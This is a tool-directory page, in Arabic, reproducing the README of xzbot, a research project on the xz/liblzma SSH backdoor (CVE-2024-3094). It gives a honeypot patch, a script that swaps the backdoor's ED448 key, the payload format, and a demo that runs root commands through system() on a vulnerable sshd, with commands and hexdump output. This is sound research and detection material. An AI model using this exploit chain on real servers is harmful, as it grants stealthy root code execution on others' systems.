Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
xzbot — ملاحظات، فخ، و عرض استغلال للباب الخلفي xz (CVE-2024-3094) | Kitploit
أدوات/GitHubGitHub/amlweems/xzbot
تحليل الثغرات الأمنيةالاستغلالالتشفيراختبار الاختراقتحليل الملفات الثنائيةتطوير الحمولات
GitHubamlweems/xzbot

xzbot

ملاحظات، فخ، و عرض استغلال للباب الخلفي xz (CVE-2024-3094)

عرض المستودع
3.6k235منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

xzbot

استكشاف الباب الخلفي xz backdoor (CVE-2024-3094). يتضمن ما يلي:

  • honeypot: خادم ضعيف مزيف لاكتشاف محاولات الاستغلال
  • ed448 patch: تصحيح liblzma.so لاستخدام مفتاح ED448 العام الخاص بنا
  • backdoor format: تنسيق حمولة الباب الخلفي
  • backdoor demo: واجهة سطر أوامر لتشغيل RCE بافتراض معرفة المفتاح الخاص ED448

xzbot demo

honeypot

انظر openssh.patch للحصول على تصحيح بسيط لـ openssh يسجل أي محاولة اتصال بمفتاح عام N يطابق تنسيق الباب الخلفي.

root@kitploit:~
$ git clone https://github.com/openssh/openssh-portable
$ patch -p1 < ~/path/to/openssh.patch
$ autoreconf
$ ./configure
$ make

ستظهر أي محاولة اتصال كما يلي في سجلات sshd:

root@kitploit:~
$ journalctl -u ssh-xzbot --since='1d ago' | grep xzbot:
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: magic 1 [preauth]
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2...

ed448 patch

يستخدم الباب الخلفي مفتاح ED448 عامًا ثابتًا للتحقق من التوقيع وفك تشفير الحمولة. إذا استبدلنا هذا المفتاح بمفتاحنا الخاص، يمكننا تشغيل الباب الخلفي.

مفتاح ED448 الخاص بالمهاجم هو:

root@kitploit:~
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00

سنستبدل هذا المفتاح بمفتاحنا الخاص (المنشأ بـ seed=0):

root@kitploit:~
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00

للبدء، قم بتنزيل كائن مشترك libxzma مخترق، على سبيل المثال من https://snapshot.debian.org/package/xz-utils/5.6.1-1. ثم قم بتشغيل سكريبت التصحيح. انظر assets/ للحصول على أمثلة.

root@kitploit:~
$ pip install pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4  liblzma.so.5.6.1
$ python3 patch.py liblzma.so.5.6.1
Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch

ثم قم بتشغيل sshd باستخدام هذا الكائن المشترك المعدل liblzma.so.5.6.1.patch.

backdoor format

يمكن تشغيل الباب الخلفي عن طريق الاتصال بشهادة SSH تحتوي على حمولة في قيمة المفتاح العام N لتوقيع CA. يجب تشفير هذه الحمولة وتوقيعها باستخدام مفتاح ED448 الخاص بالمهاجم.

الهيكل له التنسيق التالي:

root@kitploit:~
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   a (32 bit)  |   b (32 bit)  |           c (64 bit)          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
+                     ciphertext (240 bytes)                    +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

يتم اشتقاق نوع الطلب من القيم الثلاث أعلاه (a * b + c). إذا كانت هذه القيمة أكبر من 3، يتجاوز الباب الخلفي المعالجة.

  • النوع 1: غير معروف، يتوقع صفر بايت
  • النوع 2: ينفذ حمولة منتهية بقيمة صفر باستخدام system()
  • النوع 3: غير معروف، يتوقع 48 بايت (موقعة)

يتم تشفير النص المشفر باستخدام chacha20 باستخدام أول 32 بايت من المفتاح العام ED448 كمفتاح متماثل. ونتيجة لذلك، يمكننا فك تشفير أي محاولة استغلال باستخدام المفتاح التالي:

root@kitploit:~
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48

النص المشفر له التنسيق التالي:

root@kitploit:~
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                    signature (114 bytes)                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| x (1 bit) |            unused ? (14 bit)          | y (1 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        unknown (8 bit)        |         length (8 bit)        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        unknown (8 bit)        |         command \x00          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

يؤدي تعيين إما x أو y إلى مسارات كود مختلفة قليلاً.

التوقيع هو توقيع RFC-8032 ED448 محسوب على القيم التالية:

  • قيمة سحرية 32 بت (مثل 02 00 00 00)
  • الخمس بايت من الحقول قبل الأمر
  • [اختياري] بايتات length من الأمر
  • أول 32 بايت من تجزئة sha256 لمفتاح المضيف للخادم

backdoor demo

root@kitploit:~
$ go install github.com/amlweeks/xzbot@latest
root@kitploit:~
$ xzbot -h
Usage of xzbot:
  -addr string
        ssh server address (default "127.0.0.1:2222")
  -seed string
        ed448 seed, must match xz backdoor key (default "0")
  -cmd string
        command to run via system() (default "id > /tmp/.xz")

سيقوم ما يلي بالاتصال بخادم SSH ضعيف في 127.0.0.1:2222 وتشغيل الأمر id > /tmp/.xz:

root@kitploit:~
$ xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz'
00000000  00 00 00 1c 73 73 68 2d  72 73 61 2d 63 65 72 74  |....ssh-rsa-cert|
00000010  2d 76 30 31 40 6f 70 65  6e 73 73 68 2e 63 6f 6d  |[email protected]|
00000020  00 00 00 00 00 00 00 03  01 00 01 00 00 01 01 01  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...
00000150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000160  00 00 01 14 00 00 00 07  73 73 68 2d 72 73 61 00  |........ssh-rsa.|
00000170  00 00 01 01 00 00 01 00  02 00 00 00 01 00 00 00  |................|
00000180  00 00 00 00 00 00 00 00  54 97 bc c5 ef 93 e4 24  |........T......$|
00000190  cf b1 57 57 59 85 52 fd  41 2a a5 54 9e aa c6 52  |..WWY.R.A*.T...R|
000001a0  58 64 a4 17 45 8a af 76  ce d2 e3 0b 7c bb 1f 29  |Xd..E..v....|..)|
000001b0  2b f0 38 45 3f 5e 00 f1  b0 00 15 84 e7 bc 10 1f  |+.8E?^..........|
000001c0  0f 5f 50 36 07 9f bd 07  05 77 5c 74 84 69 c9 7a  |._P6.....w\t.i.z|
000001d0  28 6b e8 16 aa 99 34 bf  9d c4 c4 5c b8 fd 4a 3c  |(k....4....\..J<|
000001e0  d8 2b 39 32 06 d9 4f a4  3a 00 d0 0b 0f a2 21 c0  |.+92..O.:.....!.|
000001f0  86 c3 c9 e2 e6 17 b4 a6  54 ba c3 a1 4c 40 91 be  |........T...L@..|
00000200  91 9a 2b f8 0b 18 61 1c  5e e1 e0 5b e8 00 00 00  |..+...a.^..[....|
00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
...
00000260  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000270  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 07  |................|
00000280  73 73 68 2d 72 73 61 00  00 00 01 00              |ssh-rsa.....|
2024/03/30 00:00:00 ssh: handshake failed: EOF

على الخادم الضعيف، يمكننا تعيين نقطة مراقبة للاستدعاء system() وملاحظة تنفيذ الأمر:

root@kitploit:~
$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {
    printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))
}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz

$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)

شجرة العمليات بعد الاستغلال تبدو مختلفة عن شجرة عمليات sshd العادية:

root@kitploit:~
# شجرة العمليات العادية
$ ssh foo@bar
$ ps -ef --forest
root         765       1  0 17:58 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        1026     765  7 18:51 ?        00:00:00  \_ sshd: foo [priv]
foo         1050    1026  0 18:51 ?        00:00:00      \_ sshd: foo@pts/1
foo         1051    1050  0 18:51 pts/1    00:00:00          \_ -bash

# شجرة العمليات بعد الباب الخلفي
$ xzbot -cmd 'sleep 60'
$ ps -ef --forest
root         765       1  0 17:58 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         941     765  4 18:04 ?        00:00:00  \_ sshd: root [priv]
sshd         942     941  0 18:04 ?        00:00:00      \_ sshd: root [net]
root         943     941  0 18:04 ?        00:00:00      \_ sh -c sleep 60
root         944     943  0 18:04 ?        00:00:00          \_ sleep 60

ملاحظة: الاستغلال الناجح لا ينشئ أي إدخالات سجل من مستوى INFO أو أعلى.

References

  • https://www.openwall.com/lists/oss-security/2024/03/29/4
  • https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
  • https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01
  • https://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4
تنزيل الأداة